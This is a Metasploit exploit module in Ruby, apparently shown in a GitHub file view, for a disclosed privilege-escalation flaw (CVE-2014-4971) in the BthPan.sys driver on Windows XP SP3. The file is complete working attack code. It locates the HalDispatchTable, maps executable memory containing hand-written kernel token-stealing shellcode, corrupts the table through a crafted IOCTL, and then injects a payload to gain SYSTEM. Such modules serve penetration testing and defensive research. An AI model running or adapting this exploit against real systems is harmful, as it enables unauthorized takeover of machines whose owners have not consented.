metasploit-framework/modules/exploits/windows/local/bthpan.rb

285 lines
8.6 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Post::File
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
def initialize(info={})
super(update_info(info, {
'Name' => 'BthPan.sys Privilege Escalation',
'Description' => %q{
A vulnerability within BthPan module allows an attacker to inject memory they control
into an arbitrary location they define. This can be used by an attacker to overwrite
HalDispatchTable+0x4 and execute arbitrary code by subsequently calling
NtQueryIntervalProfile.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC
'Jay Smith <jsmith[at]korelogic.com>' # MSF module
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Windows XP SP3', { } ],
],
'References' =>
[
[ 'CVE', 'CVE-2014-4971' ],
[ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ]
],
'DisclosureDate'=> 'Jul 18 2014',
'DefaultTarget' => 0
}))
end
def add_railgun_functions
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
session.railgun.add_function(
'psapi',
'EnumDeviceDrivers',
'BOOL',
[
["PBLOB", "lpImageBase", "out"],
["DWORD", "cb", "in"],
["PDWORD", "lpcbNeeded", "out"]
])
session.railgun.add_function(
'psapi',
'GetDeviceDriverBaseNameA',
'DWORD',
[
["LPVOID", "ImageBase", "in"],
["PBLOB", "lpBaseName", "out"],
["DWORD", "nSize", "in"]
])
end
def open_device(dev)
invalid_handle_value = 0xFFFFFFFF
r = session.railgun.kernel32.CreateFileA(dev, "FILE_SHARE_WRITE|FILE_SHARE_READ", 0, nil, "OPEN_EXISTING", 0, nil)
handle = r['return']
if handle == invalid_handle_value
return nil
end
return handle
end
def find_sys_base(drvname)
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
addresses = results['lpImageBase'][0, results['lpcbNeeded']].unpack("V*")
addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
current_drvname = results['lpBaseName'][0, results['return']]
if drvname == nil
if current_drvname.downcase.include?('krnl')
return [address, current_drvname]
end
elsif drvname == current_drvname
return [address, current_drvname]
end
end
return nil
end
def ring0_shellcode(t)
tokenswap = "\x60\x64\xA1\x24\x01\x00\x00"
tokenswap << "\x8B\x40\x44\x50\xBB\x04"
tokenswap << "\x00\x00\x00\x8B\x80\x88"
tokenswap << "\x00\x00\x00\x2D\x88"
tokenswap << "\x00\x00\x00\x39\x98\x84"
tokenswap << "\x00\x00\x00\x75\xED\x8B\xB8\xC8"
tokenswap << "\x00\x00\x00\x83\xE7\xF8\x58\xBB"
tokenswap << "\x41\x41\x41\x41"
tokenswap << "\x8B\x80\x88\x00\x00\x00"
tokenswap << "\x2D\x88\x00\x00\x00"
tokenswap << "\x39\x98\x84\x00\x00\x00"
tokenswap << "\x75\xED\x89\xB8\xC8"
tokenswap << "\x00\x00\x00\x61\xC3"
tokenswap.sub!(/\x41\x41\x41\x41/, [session.sys.process.getpid].pack('V'))
return tokenswap
end
def fill_memory(proc, address, length, content)
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
if not proc.memory.writable?(address)
vprint_error("Failed to allocate memory")
return nil
else
vprint_good("#{address} is now writable")
end
result = proc.memory.write(address, content)
if result.nil?
vprint_error("Failed to write contents to memory")
return nil
else
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
end
return address
end
def disclose_addresses(t)
addresses = {}
vprint_status("Getting the Kernel module name...")
kernel_info = find_sys_base(nil)
if kernel_info.nil?
vprint_error("Failed to disclose the Kernel module name")
return nil
end
vprint_good("Kernel module found: #{kernel_info[1]}")
vprint_status("Getting a Kernel handle...")
kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
kernel32_handle = kernel32_handle['return']
if kernel32_handle == 0
vprint_error("Failed to get a Kernel handle")
return nil
end
vprint_good("Kernel handle acquired")
vprint_status("Disclosing the HalDispatchTable...")
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable")
hal_dispatch_table = hal_dispatch_table['return']
if hal_dispatch_table == 0
vprint_error("Failed to disclose the HalDispatchTable")
return nil
end
hal_dispatch_table -= kernel32_handle
hal_dispatch_table += kernel_info[0]
addresses["halDispatchTable"] = hal_dispatch_table
vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")
return addresses
end
def check
add_railgun_functions
if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/
return Exploit::CheckCode::Safe
end
handle = open_device("\\\\.\\bthpan")
if handle.nil?
return Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle)
os = sysinfo["OS"]
unless (os =~ /windows xp.*service pack 3/i)
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Vulnerable
end
def exploit
if is_system?
fail_with(Exploit::Failure::None, 'Session is already elevated')
end
if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
end
unless check == Exploit::CheckCode::Vulnerable
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
end
handle = open_device("\\\\.\\bthpan")
if handle.nil?
fail_with(Failure::NoTarget, "Unable to open \\\\.\\bthpan device")
end
my_target = targets[1]
print_status("Disclosing the HalDispatchTable address...")
@addresses = disclose_addresses(my_target)
if @addresses.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Filed to disclose necessary address for exploitation. Aborting.")
else
print_good("Address successfully disclosed.")
end
print_status("Storing the shellcode in memory...")
this_proc = session.sys.process.open
kernel_shell = ring0_shellcode(my_target)
kernel_shell_address = 0x1
buf = "\x90" * 0x6000
buf[0, 1028] = "\x50\x00\x00\x00" + "\x90" * 0x400
buf[0x5000, kernel_shell.length] = kernel_shell
result = fill_memory(this_proc, kernel_shell_address, buf.length, buf)
if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
else
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
end
print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses["halDispatchTable"] + 0x4, 0)
session.railgun.kernel32.CloseHandle(handle)
print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
result = session.railgun.ntdll.NtQueryIntervalProfile(2, 4)
print_status("Checking privileges after exploitation...")
if not is_system?
fail_with(Failure::Unknown, "The exploitation wasn't successful")
else
print_good("Exploitation successful!")
end
p = payload.encoded
print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
if execute_shellcode(p)
print_good("Enjoy")
else
fail_with(Failure::Unknown, "Error while executing the payload")
end
end
end